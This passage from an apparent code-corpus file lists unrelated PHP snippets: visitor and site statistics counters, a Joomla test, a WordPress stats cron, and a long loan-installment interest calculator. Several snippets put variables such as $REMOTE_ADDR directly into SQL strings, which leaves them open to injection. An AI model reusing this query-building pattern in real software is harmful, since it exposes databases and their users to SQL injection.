\"select * from {$app[table][stats_week]}\n where hari = '$week' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_week]} \n set counter = counter + 1\n where hari = '$week' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_week]} (hari, counter, year) values('$week',1,'$year')\";\n endif;\n\t\tdb::qry($sql);\n\t\t\t\n ## by month\n $sql = \"select * from {$app[table][stats_month]}\n where bulan = '$month' and year = '$year'\";\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_month]} \n set counter = counter + 1\n where bulan = '$month' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_month]} (bulan, counter, year) values('$month',1,'$year')\";\n endif;\n\t\tdb::qry($sql);\n \t\n \t## by IP\n \t$ip = $REMOTE_ADDR;\n \t#$hostname = @gethostbyaddr($ip);\n\t\t$hostname = $ip;\n\t\t$sql = \"select * from {$app[table][stats_ip]} where ip = '$ip' and year = '$year'\";\n\t\t#echo $sql;exit;\n db::query($sql, $rs, $nr);\n if ($nr):\n $sql = \"update {$app[table][stats_ip]} \n set counter = counter + 1\n where ip = '$ip' and year = '$year'\";\n else:\n $sql = \"insert into {$app[table][stats_ip]} (ip, hostname, counter, year) values('$ip','$hostname', 1, '$year')\";\n endif;\n db::qry($sql);\n\t}",
"public function testExecDailyStatsCronEmptyDailyStatsTableOneArticle1MainAtt1SecAtt() {\n\t\tDailyStatsDao::execDailyStatsCron(\"#__\" . $this->getDailyStatsTableName(),\"#__attachments_cron_test\",\"#__content_cron_test\");\n \t/* @var $db JDatabase */\n \t$db = JFactory::getDBO();\n\t\t$query = \"SELECT COUNT(id) FROM #__\" . $this->getDailyStatsTableName(); \n \t$db->setQuery($query);\n \t$count = $db->loadResult();\n\n\t\t$this->assertEquals(1,$count,'1 daily_stats records expected (1 for the main attachment, 0 for the secondary attachment');\n\t\t\n\t\t$today = date(\"Y-m-d\");\n\t\t$query = \"SELECT * FROM #__\" . $this->getDailyStatsTableName() . \" WHERE article_id = 1\"; \n \t$db->setQuery($query);\n \t$res = $db->loadAssoc();\n\t\t\n\t\t$this->assertEquals(\"$today\",$res['date'],'date');\n\t\t$this->assertEquals(111,$res['date_hits'],'date hits');\n\t\t$this->assertEquals(111,$res['total_hits_to_date'],'total hits');\n\t\t$this->assertEquals(11,$res['date_downloads'],'date downloads');\n\t\t$this->assertEquals(11,$res['total_downloads_to_date'],'total downloads');\n\t\t\n\t\t$this->checkEntryExistInLog(\"daily_stats table successfully bootstraped. 1 rows inserted.\");\n\t}",
"function process_stats() {\r\n\t global $wpdb;\r\n\r\n\t $date = date(\"Y-m-d\", time());\r\n\r\n\t //don't process if already completed today (in case wp_cron goes nutzy)\r\n\t $existing = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites_daily_stats WHERE date = '\" . $date . \"'\");\r\n\t if ($existing)\r\n\t return;\r\n\r\n\t $active_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE expire > '\" . time() . \"'\");\r\n\t $expired_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE expire <= '\" . time() . \"'\");\r\n\t $term_1_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE term = 1 AND expire > '\" . time() . \"'\");\r\n\t $term_3_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE term = 3 AND expire > '\" . time() . \"'\");\r\n\t $term_12_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE term = 12 AND expire > '\" . time() . \"'\");\r\n\t $term_manual_pro_sites = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE term NOT IN (1,3,12) AND expire > '\" . time() . \"'\");\r\n\r\n\t\t//get level counts\r\n $levels = get_site_option('psts_levels');\r\n for ($i=1; $i<=10; $i++) $level_count[$i] = 0; //prefill the array\r\n\t\tif (is_array($levels) && count($levels) > 1) {\r\n\t\t\tforeach ($levels as $level => $data) {\r\n\t\t\t\t//if last level include all previous ones greater than that level, in case a level was deleted\r\n\t\t\t\tif (count($levels) == $level)\r\n\t\t\t\t\t$level_count[$level] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE level >= $level AND expire > '\" . time() . \"'\");\r\n\t\t\t\telse\r\n $level_count[$level] = $wpdb->get_var(\"SELECT COUNT(*) FROM {$wpdb->base_prefix}pro_sites WHERE level = $level AND expire > '\" . time() . \"'\");\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t$level_count[1] = $active_pro_sites;\r\n\t\t}\r\n\r\n\t $wpdb->query( \"INSERT INTO {$wpdb->base_prefix}pro_sites_daily_stats ( date, supporter_count, expired_count, term_count_1, term_count_3, term_count_12, term_count_manual, level_count_1, level_count_2, level_count_3, level_count_4, level_count_5, level_count_6, level_count_7, level_count_8, level_count_9, level_count_10 ) VALUES ( '$date', $active_pro_sites, $expired_pro_sites, $term_1_pro_sites, $term_3_pro_sites, $term_12_pro_sites, $term_manual_pro_sites, {$level_count[1]}, {$level_count[2]}, {$level_count[3]}, {$level_count[4]}, {$level_count[5]}, {$level_count[6]}, {$level_count[7]}, {$level_count[8]}, {$level_count[9]}, {$level_count[10]} )\" );\r\n\t}",
"public function get_date_permastruct()\n {\n }",
"public function getDateDiff()\n {\n $distribusi = PenyimpananBMT::where('status', 'Distribusi Pendapatan')\n ->where('created_at', '<', Carbon::now()->toDateString())\n ->orderBy('created_at', 'desc')->first();\n\n if($distribusi == null)\n {\n $distribusi = PenyimpananBMT::first();\n $date = Carbon::parse($distribusi->created_at)->startOfDay();\n }\n else\n {\n $date = Carbon::parse($distribusi->created_at)->startOfDay()->addDays(1);\n }\n\n $now = Carbon::now()->startOfDay();\n\n return $now->diffInDays($date);\n }",
"public function stdWrap_dateDataProvider() {}",
"function bloc_stats_generales(\r\n\t$prev_visites,\r\n\t$global_jour,\r\n\t$date_globaljour,\r\n\t$global_stats,\r\n\t$prim_jour_stats,\r\n\t$nb_jours_stats,\r\n\t$moy_global_stats,\r\n\t$cumul_vis_art_jour,\r\n\t$moy_pages_jour,\r\n\t$global_pages_stats,\r\n\t$moy_pag_vis,\r\n\t$date_max,\r\n\t$visites_max\r\n) {\r\n\r\n\tif (is_array($prev_visites)) {\r\n\t\tif ($prev = intval($prev_visites[1])) {\r\n\t\t\t$prev = \" + \" . $prev;\r\n\t\t} else {\r\n\t\t\t$prev = '';\r\n\t\t}\r\n\t}\r\n\r\n\t$aff = '';\r\n\r\n\t$aff .= debut_cadre_relief(\"statistiques-24.gif\", true)\r\n\t\t. \"<span class='verdana3 bold'>\" . _T('actijour:nombre_visites_') . \"</span>\\n\"\r\n\t\t. \"<br /><span class='verdana2'>\" . $date_globaljour . \"</span>\"\r\n\t\t. \"<div class='cell_info alter-fond'>\"\r\n\t\t. _T('actijour:global_vis_jour', array('global_jour' => $global_jour . $prev))\r\n\t\t. \"</div>\\n\"\r\n\t\t. \"<div class='cell_info'>\"\r\n\t\t. _T('actijour:global_vis_global', array('global_stats' => $global_stats))\r\n\t\t. \"</div>\\n\";\r\n\r\n\t$aff .= \"<div style='margin-top:8px;'>\\n\"\r\n\t\t. \"<span class='verdana3 bold'>\" . _T('actijour:stats_actives_') . \"</span>\\n\"\r\n\t\t. \"<div class='cell_info'>\\n\"\r\n\t\t. _T('actijour:depuis_le_prim_jour', array('prim_jour_stats' => $prim_jour_stats)) . \"<br />\\n\"\r\n\t\t. _T('actijour:soit_nbre_jours', array('nb_jours_stats' => $nb_jours_stats)) . \"<br />\\n\"\r\n\t\t. _T('actijour:soit_moyenne_par_jour', array('moy_global_stats' => $moy_global_stats)) . \"\\n\"\r\n\t\t. \"</div>\\n\"\r\n\t\t. \"</div>\\n\";\r\n\r\n\t$aff .= \"<div style='margin-top:8px;'>\\n\"\r\n\t\t. \"<span class='verdana3 bold'>\" . _T('actijour:pages_article_vues') . \"</span><br />\\n\"\r\n\t\t. \"<div class='cell_info alter-fond'>\\n\"\r\n\t\t. _T('actijour:pages_art_cumul_jour', array('cumul_vis_art_jour' => $cumul_vis_art_jour)) . \"<br />\\n\"\r\n\t\t. _T('actijour:pages_art_moyenne_jour', array('moy_pages_jour' => $moy_pages_jour)) . \"<br />\\n\"\r\n\t\t. \"</div>\\n\";\r\n\r\n\t$aff .= \"<div class='cell_info'>\\n\"\r\n\t\t. _T('actijour:pages_global_cumul_jour', array('global_pages_stats' => $global_pages_stats)) . \"<br />\\n\"\r\n\t\t. _T('actijour:pages_global_moyenne_jour', array('moy_pag_vis' => $moy_pag_vis)) . \"<br />\\n\"\r\n\t\t. \"</div>\\n\"\r\n\t\t. \"</div>\\n\";\r\n\r\n\t$aff .= \"<div style='margin-top:8px;'>\\n\"\r\n\t\t. \"<span class='verdana3 bold'>\" . _T('actijour:grosse_journee_') . \"</span>\\n\"\r\n\t\t. \"<div class='cell_info'>\\n\"\r\n\t\t. http_img_pack('puce-verte-breve.gif', 'ico', '', '') . \" \"\r\n\t\t. _T('actijour:date_jour_maxi_vis', array('date_max' => $date_max, 'visites_max' => $visites_max))\r\n\t\t. \"</div>\\n\"\r\n\t\t. \"</div>\\n\";\r\n\t$aff .= fin_cadre_relief(true);\r\n\r\n\treturn $aff;\r\n}",
"Public Function LoadStats()\n\t{\n\t\t$this->Stats = new User_Stats($this->id);\n\t}",
"protected function init() {\n parent::init('statistic_set');\n }",
"public function getCurrentStatus() {\n\n date_default_timezone_set(\"Asia/Calcutta\");\n $time = date('H:i:s');\n $today = date('Y-m-d H:i:s');\n $numOfInstallments = DefaultData::getNumOfInstlByPeriodAndType($this->loan_period, $this->installment_type);\n $first_installment_date = '';\n $paid_aditional_interrest = 0;\n $total_paid_installment = 0;\n\n $INSTALLMENT = new Installment(NULL);\n\n foreach ($INSTALLMENT->getInstallmentByLoan($this->id) as $installment) {\n $paid_aditional_interrest += $installment[\"additional_interest\"];\n $total_paid_installment = $total_paid_installment + $installment[\"paid_amount\"];\n }\n\n $loan_amount = $numOfInstallments * $this->installment_amount;\n $actual_due = $loan_amount - $total_paid_installment;\n\n //daily installment\n if ($this->installment_type == 30) {\n\n $FID = new DateTime($this->effective_date . \" 00:00:01\");\n $FID->modify('+1 day');\n $first_installment_date = $FID->format('Y-m-d H:i:s');\n\n\n $start = new DateTime($first_installment_date);\n $first_date = $start->format('Y-m-d ' . $time);\n\n $x = 0;\n $total_installment_amount = 0;\n $ins_total = 0;\n $total_paid = 0;\n $od_amount_all_array = array();\n $last_od = array();\n $od_total = array();\n $last_od_balance = array();\n $od_balance_amount = array();\n\n while ($x < $numOfInstallments) {\n if ($numOfInstallments == 4) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 30) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 8) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 60) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 2) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 1) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 90) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 12) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 3) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 100) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 13) {\n $modify_range = '+7 day';\n }\n\n $date = $start->format('Y-m-d ' . $time);\n\n $paid_amount = 0;\n $od_amount = 0;\n $od_amount_all = 0;\n $balance = 0;\n $loan_proccesign_fee_paid = 0;\n $total_od_paid = 0;\n $paid_all_amount_before_ins_date = 0;\n $paid_all_od_before_ins_date = 0;\n $last_od_amount = 0;\n $od_interest = 0;\n $allod = 0;\n\n $customer = $this->customer;\n $CUSTOMER = new Customer($customer);\n $route = $CUSTOMER->route;\n $center = $CUSTOMER->center;\n $installment_amount = $this->installment_amount;\n\n $FID = new DateTime($date);\n $FID->modify($modify_range);\n $day_remove = '-1 day';\n $FID->modify($day_remove);\n $second_installment_date = $FID->format('Y-m-d ' . $time);\n $amount = $this->installment_amount;\n $od_night = date(\"Y/m/d\");\n\n\n $INSTALLMENT = new Installment(NULL);\n $ALl_AMOUNT = $INSTALLMENT->getAmountByLoanId($this->id);\n\n foreach ($INSTALLMENT->CheckInstallmetByPaidDate($date, $this->id) as $paid) {\n $paid_amount += $paid['paid_amount'];\n }\n\n $before_payment_amounts = $INSTALLMENT->getPaidAmountByBeforeDate($date, $this->id);\n\n foreach ($before_payment_amounts as $before_payment_amount) {\n $paid_all_amount_before_ins_date += $before_payment_amount['paid_amount'];\n $paid_all_od_before_ins_date += $before_payment_amount['additional_interest'];\n }\n\n if (PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date)) {\n $start->modify($modify_range);\n } else {\n\n $last_od_amount = (float) end($od_amount_all_array);\n $od_total_amount = (float) end($od_total);\n\n $ins_total += $amount;\n $total_paid += $paid_amount;\n\n // $balance = $paid_all_od_before_ins_date + $paid_all_amount_before_ins_date - $ins_total - $od_total_amount;\n\n $balance = $paid_all_amount_before_ins_date - $ins_total;\n\n $OD = new OD(NULL);\n $OD->loan = $this->id;\n $AllOd = $OD->allOdByLoan();\n $od = $OD->allOdByLoanAndDate($date, $balance);\n\n //get daily loan od amount \n if (!$AllOd || PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date) || $ALl_AMOUNT[0] >= $ins_total) {\n \n } else {\n if ($AllOd) {\n foreach ($AllOd as $key => $allod) {\n if (strtotime($allod['od_date_start']) <= strtotime($date) && strtotime($date) <= strtotime($allod['od_date_end']) && (-1 * ($allod['od_interest_limit'])) > $balance && $allod['od_interest_limit'] < $actual_due) {\n\n $ODDATES = new DateTime($date);\n $ODDATES->modify(' +23 hours +59 minutes +58 seconds');\n\n $od_date_morning = $ODDATES->format('Y-m-d H:i:s');\n\n $paid_all_amount_before_ins_date1 = 0;\n $before_payment_amounts1 = $INSTALLMENT->getPaidAmountByBeforeDate($od_date_morning, $this->id);\n\n foreach ($before_payment_amounts1 as $before_payment_amount1) {\n $paid_all_amount_before_ins_date1 += $before_payment_amount1['paid_amount'];\n }\n\n $od_interest = $this->getOdIntereset1(-$ins_total + $paid_all_amount_before_ins_date1, $allod['od_interest_limit']);\n\n $od_array[] = $od_interest;\n $od_amount_all = json_encode(round(array_sum($od_array), 2));\n\n if (strtotime(date(\"Y/m/d\")) <= strtotime($date)) {\n break;\n }\n array_push($od_amount_all_array, $od_interest);\n array_push($od_total, $od_amount_all);\n }\n }\n }\n }\n $total_installment_amount += $installment_amount;\n\n if (strtotime(date(\"Y/m/d\")) <= strtotime($date)) {\n break;\n }\n\n $start->modify($modify_range);\n $x++;\n\n //end of the installment \n if ($numOfInstallments == $x) {\n\n $ODDATES = new DateTime($date);\n $ODDATES->modify('+23 hours +59 minutes +58 seconds');\n $od_date_morning = $ODDATES->format('Y-m-d H:i:s');\n\n //check log ends with od or installment\n $last_od_date = date('D/M/Y', strtotime($od_date_morning));\n $last_installment_date = date('D/M/Y', strtotime($date));\n\n if ($last_od_date == $last_installment_date) {\n $last_loop_od = $od_interest;\n } else {\n $last_loop_od = 0;\n }\n\n //get installment end date\n $INSTALLMENT_END = new DateTime($date);\n $INSTALLMENT_END->modify('+1 day');\n $installment_end = $INSTALLMENT_END->format('Y-m-d H:i:s');\n\n //get 5 years ahead date from installment end date\n $INSTALLMENT_UNLIMITED_END = new DateTime($date);\n $INSTALLMENT_UNLIMITED_END->modify('+1725 day');\n $installment_unlimited_end = $INSTALLMENT_UNLIMITED_END->format('Y-m-d H:i:s');\n\n $start = strtotime($date);\n $end = strtotime(date(\"Y/m/d\"));\n $days_between = floor(abs($end - $start) / 86400) - 1;\n $od = $OD->allOdByLoanAndDate($date, $balance);\n $y = 0;\n\n $od_date_start1 = new DateTime($date);\n $od_date_start1->modify('+47 hours +59 minutes +58 seconds');\n\n $defult_val = $days_between;\n\n while ($y <= $defult_val) {\n\n if ($od['od_date_start'] <= $od_date_start1) {\n $od_dates = '+1 day';\n }\n\n $od_date = $od_date_start1->format('Y-m-d H:i:s');\n //getting echo $od_date; before of date from current od date\n $OLDODDATE = new DateTime($od_date);\n $od_date_remove1 = '-23 hours -59 minutes -58 seconds';\n\n $OLDODDATE->modify($od_date_remove1);\n $old_od_date = $OLDODDATE->format('Y-m-d H:i:s');\n\n if (strtotime(date(\"Y/m/d\")) <= strtotime($date)) {\n break;\n }\n\n $od_array[] = $od_interest;\n $od_amount_all = json_encode(round(array_sum($od_array), 2));\n\n array_push($od_amount_all_array, $od_interest);\n array_push($od_total, $od_amount_all);\n\n $od_total_amount = (float) end($od_total);\n\n $od_date_start1->modify($od_dates);\n $y++;\n }\n }\n }\n }\n //weekly installment\n } else if ($this->installment_type == 4) {\n\n $FID = new DateTime($this->effective_date . \" 00:00:01\");\n $FID->modify('+7 day');\n $first_installment_date = $FID->format('Y-m-d H:i:s');\n\n\n $start = new DateTime($first_installment_date);\n $first_date = $start->format('Y-m-d ' . $time);\n\n $x = 0;\n $total_installment_amount = 0;\n $ins_total = 0;\n $total_paid = 0;\n $od_amount_all_array = array();\n $od_array = array();\n $last_od = array();\n $od_total = array();\n $last_od_balance = array();\n $od_balance_amount = array();\n\n while ($x < $numOfInstallments) {\n if ($numOfInstallments == 4) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 30) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 8) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 60) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 2) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 1) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 90) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 12) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 3) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 100) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 13) {\n $modify_range = '+7 day';\n }\n\n\n $date = $start->format('Y-m-d ' . \" 00:00:01\");\n\n $paid_amount = 0;\n $od_amount = 0;\n $od_amount_all = 0;\n $balance = 0;\n $loan_proccesign_fee_paid = 0;\n $total_od_paid = 0;\n $paid_all_amount_before_ins_date = 0;\n $paid_all_od_before_ins_date = 0;\n\n\n $customer = $this->customer;\n $CUSTOMER = new Customer($customer);\n $route = $CUSTOMER->route;\n $center = $CUSTOMER->center;\n $installment_amount = $this->installment_amount;\n\n $FIDS = new DateTime($date);\n $FIDS->modify($modify_range);\n $day_remove = '-2 seconds';\n\n $FIDS->modify($day_remove);\n $second_installment_date = $FIDS->format('Y-m-d H:i:s');\n\n\n $amount = $this->installment_amount;\n $od_night = date(\"Y/m/d\");\n\n $INSTALLMENT = new Installment(NULL);\n $ALl_AMOUNT = $INSTALLMENT->getAmountByLoanId($this->id);\n\n foreach ($INSTALLMENT->CheckInstallmetByPaidDate($date, $this->id) as $paid) {\n $paid_amount += $paid['paid_amount'];\n }\n\n $before_payment_amounts = $INSTALLMENT->getPaidAmountByBeforeDate($date, $this->id);\n\n foreach ($before_payment_amounts as $before_payment_amount) {\n $paid_all_amount_before_ins_date += $before_payment_amount['paid_amount'];\n $paid_all_od_before_ins_date += $before_payment_amount['additional_interest'];\n }\n\n if (PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date)) {\n $start->modify($modify_range);\n } else {\n\n $last_od_amount = (float) end($od_amount_all_array);\n $od_total_amount = (float) end($od_total);\n\n $ins_total += $amount;\n $total_paid += $paid_amount;\n\n $balance = $paid_all_amount_before_ins_date - $ins_total;\n\n $OD = new OD(NULL);\n $OD->loan = $this->id;\n $od = $OD->allOdByLoanAndDate($date, $balance);\n\n if (strtotime(date(\"Y/m/d\")) < strtotime($date) || PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date) || $ALl_AMOUNT[0] >= $ins_total || $actual_due < $od['od_interest_limit']) {\n \n } else {\n if ($od !== false) {\n\n // Declare and define two dates \n $ins_date1 = strtotime($date);\n $ins_date2 = strtotime($second_installment_date);\n\n // Formulate the Difference between two dates \n $diff = abs($ins_date2 - $ins_date1);\n\n $daysbetween = floor(($diff - (floor($diff / (365 * 60 * 60 * 24))) * 365 * 60 * 60 * 24 -\n (floor(($diff - (floor($diff / (365 * 60 * 60 * 24))) * 365 * 60 * 60 * 24) / (30 * 60 * 60 * 24))) * 30 * 60 * 60 * 24) / (60 * 60 * 24));\n\n $od_interest = $this->getOdIntereset(-$ins_total + $paid_all_amount_before_ins_date, $od['od_interest_limit']);\n\n $y = 0;\n $od_date_start = new DateTime($date);\n $od_date_start->modify('+23 hours +59 minutes +58 seconds');\n $defult_val = $daysbetween;\n\n while ($y <= $defult_val) {\n\n if ($defult_val <= $daysbetween && $od['od_date_start'] <= $od_date_start) {\n $od_dates = '+1 day';\n }\n\n $od_date = $od_date_start->format('Y-m-d H:i:s');\n\n //// od dates range\n $ODDATES = new DateTime($od_date);\n $ODDATES->modify($od_dates);\n\n $od_date_remove = '-1 day -23 hours -59 minutes -58 seconds';\n\n $ODDATES->modify($od_date_remove);\n $od_night = $ODDATES->format('Y-m-d H:i:s');\n\n\n if ((strtotime(date(\"Y/m/d\")) <= strtotime($od_date)) || strtotime($od['od_date_end'] . $time) <= strtotime($od_date)) {\n break;\n }\n $od_array[] = $od_interest;\n $od_amount_all = json_encode(round(array_sum($od_array)));\n\n \n array_push($od_amount_all_array, $od_interest);\n array_push($od_total, $od_amount_all);\n\n $od_date_start->modify($od_dates);\n $y++;\n }\n }\n }\n }\n\n if (strtotime(date(\"Y/m/d\")) . \" \" . $time == $date) {\n\n if (strtotime(date(\"Y/m/d\")) < strtotime($date)) {\n break;\n }\n $total_installment_amount += $installment_amount;\n } else {\n if (strtotime(date(\"Y/m/d\")) < strtotime($date)) {\n break;\n }\n $total_installment_amount += $installment_amount;\n }\n\n\n $start->modify($modify_range);\n $x++;\n\n if ($numOfInstallments == $x) {\n //get installment end date\n $INSTALLMENT_END = new DateTime($date);\n $INSTALLMENT_END->modify('+7 day');\n $installment_end = $INSTALLMENT_END->format('Y-m-d H:i:s');\n\n //get 5 years ahead date from installment end date\n $INSTALLMENT_UNLIMITED_END = new DateTime($date);\n $INSTALLMENT_UNLIMITED_END->modify('+1725 day');\n $installment_unlimited_end = $INSTALLMENT_UNLIMITED_END->format('Y-m-d H:i:s');\n\n\n $start = strtotime($date);\n $end = strtotime(date(\"Y/m/d\"));\n\n $days_between = floor(abs($end - $start) / 86400) - 1;\n\n $z = 0;\n\n $od_date_start1 = new DateTime($od_night);\n $od_date_start1->modify('+1 day +23 hours +59 minutes +58 seconds');\n $defult_val = $days_between;\n\n\n //if having od after installment end\n if ($od !== false) {\n\n $last_od_date = date('D/M/Y', strtotime($od_night));\n $last_installment_date = date('D/M/Y', strtotime($date));\n\n if ($last_od_date == $last_installment_date) {\n $last_loop_od = $od_interest;\n } else {\n $last_loop_od = 0;\n }\n\n while ($z <= $defult_val) {\n\n if ($od['od_date_start'] <= $od_date_start1) {\n $od_dates = '+1 day';\n }\n\n $od_date1 = $od_date_start1->format('Y-m-d H:i:s');\n\n //getting brfore of date from current od date\n $OLDODDATE = new DateTime($od_date1);\n $od_date_remove1 = '-23 hours -59 minutes -58 seconds';\n\n $OLDODDATE->modify($od_date_remove1);\n $old_od_date = $OLDODDATE->format('Y-m-d H:i:s');\n\n if (strtotime(date(\"Y/m/d\")) <= strtotime($old_od_date) || strtotime(date(\"Y/m/d\")) <= strtotime($od_date1)) {\n break;\n }\n\n $od_array[] = $od_interest;\n $od_amount_all = json_encode(round(array_sum($od_array)));\n\n array_push($od_amount_all_array, $od_interest);\n array_push($od_total, $od_amount_all);\n\n $od_total_amount = (float) end($od_total);\n\n $od_date_start1->modify($od_dates);\n $z++;\n }\n }\n }\n }\n } else if ($this->installment_type == 1) {\n\n $FID = new DateTime($this->effective_date . \" 00:00:01\");\n $FID->modify('+1 months');\n $first_installment_date = $FID->format('Y-m-d H:i:s');\n\n\n $start = new DateTime($first_installment_date);\n $first_date = $start->format('Y-m-d ' . $time);\n\n $x = 0;\n $no_of_installments = 0;\n $total_installment_amount = 0;\n $ins_total = 0;\n $total_paid = 0;\n $od_amount_all_array = array();\n $od_array = array();\n $last_od = array();\n $od_total = array();\n $last_od_balance = array();\n $od_balance_amount = array();\n\n while ($x < $numOfInstallments) {\n if ($numOfInstallments == 4) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 30) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 8) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 60) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 2) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 1) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 90) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 12) {\n $modify_range = '+7 day';\n } elseif ($numOfInstallments == 3) {\n $modify_range = '+1 months';\n } elseif ($numOfInstallments == 100) {\n $modify_range = '+1 day';\n } elseif ($numOfInstallments == 13) {\n $modify_range = '+7 day';\n }\n\n $date = $start->format('Y-m-d H:i:s');\n\n $paid_amount = 0;\n $last_od_amount = 0;\n $od_amount = 0;\n $od_amount_all = 0;\n $balance = 0;\n $loan_proccesign_fee_paid = 0;\n $total_od_paid = 0;\n $paid_all_amount_before_ins_date = 0;\n $paid_all_od_before_ins_date = 0;\n\n $customer = $this->customer;\n $CUSTOMER = new Customer($customer);\n $route = $CUSTOMER->route;\n $center = $CUSTOMER->center;\n $installment_amount = $this->installment_amount;\n $amount = $this->installment_amount;\n\n $FIDS = new DateTime($date);\n $FIDS->modify($modify_range);\n $day_remove = '-2 seconds';\n\n $FIDS->modify($day_remove);\n $second_installment_date = $FIDS->format('Y-m-d H:i:s');\n $ALl_AMOUNT = $INSTALLMENT->getAmountByLoanId($this->id);\n\n $od_night = date(\"Y/m/d\");\n\n $INSTALLMENT = new Installment(NULL);\n $ALl_AMOUNT = $INSTALLMENT->getAmountByLoanId($this->id);\n\n foreach ($INSTALLMENT->CheckInstallmetByPaidDate($date, $this->id) as $paid) {\n $paid_amount += $paid['paid_amount'];\n }\n\n $before_payment_amounts = $INSTALLMENT->getPaidAmountByBeforeDate($date, $this->id);\n\n foreach ($before_payment_amounts as $before_payment_amount) {\n $paid_all_amount_before_ins_date += $before_payment_amount['paid_amount'];\n $paid_all_od_before_ins_date += $before_payment_amount['additional_interest'];\n }\n\n if (PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date)) {\n $start->modify($modify_range);\n } else {\n\n $last_od_amount = (float) end($od_amount_all_array);\n $od_total_amount = (float) end($od_total);\n\n $ins_total += $amount;\n $total_paid += $paid_amount;\n\n $balance = $paid_all_od_before_ins_date + $paid_all_amount_before_ins_date - $ins_total - $od_total_amount;\n\n $OD = new OD(NULL);\n $OD->loan = $this->id;\n $od = $OD->allOdByLoanAndDate($date, $balance);\n\n if (strtotime(date(\"Y/m/d\")) < strtotime($date) || PostponeDate::CheckIsPostPoneByDateAndCustomer($date, $customer) || PostponeDate::CheckIsPostPoneByDateAndRoute($date, $route) || PostponeDate::CheckIsPostPoneByDateAndCenter($date, $center) || PostponeDate::CheckIsPostPoneByDateAndAll($date) || PostponeDate::CheckIsPostPoneByDateCenterAll($date) || PostponeDate::CheckIsPostPoneByDateRouteAll($date) || $ALl_AMOUNT[0] >= $ins_total) {\n \n } else {\n if ($od !== false) {\n $od_interest = $this->getOdIntereset(-$ins_total + $paid_all_amount_before_ins_date, $od['od_interest_limit']);\n\n $y = 0;\n //get month and year from inst date\n $dateValue = strtotime($date);\n $year = date(\"Y\", $dateValue);\n $month = date(\"m\", $dateValue);\n\n $daysOfMonth = cal_days_in_month(CAL_GREGORIAN, $month, $year);\n\n $od_date_start = new DateTime($date);\n\n $od_date_start->modify('+23 hours +59 minutes +58 seconds');\n\n $defult_val = $daysOfMonth - 1;\n\n while ($y <= 